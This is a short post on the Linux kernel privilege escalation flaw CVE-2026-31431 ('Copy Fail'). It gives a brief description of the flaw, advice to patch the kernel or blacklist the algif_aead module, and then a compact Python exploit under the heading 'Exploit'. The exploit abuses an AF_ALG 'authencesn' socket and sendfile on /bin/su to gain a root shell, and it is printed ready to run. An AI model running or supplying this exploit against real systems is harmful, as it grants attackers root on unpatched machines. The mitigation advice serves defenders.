What is Copy Fail

CVE-2026-31431, commonly known as Copy Fail, is a vulnerability in the Linux kernel that allows unauthorized privilege escalation, disclosed by security firm Theori to the public on 29 April 2026 and to the Linux kernel security team five weeks prior. The exploit blends into normal system activity via standard system calls and may be raised through 10 lines of Python. – Wikipedia

How to Mitigate

Patch your kernel to the latest version, as of now, these issues have already been fixed there.

If no patch is avaiable you need to unload and blacklist some kernel modules:

  • algif_aead

Exploit

from ssl import*
i=b'\0'*4
a=socket(38,5)
a.bind(('aead','authencesn(ghash,ecb(aes))'))
a.setsockopt(279,1,b'\b\0\x01'+i+b'\x10'+i*8)
u,_=a.accept()
u.sendmsg([i+b't1'],[(279,4,b'\b'+i)],t:=37020)
u.sendfile(open('/bin/su','rb'))
try:u.recv(t)
except:os.system('su')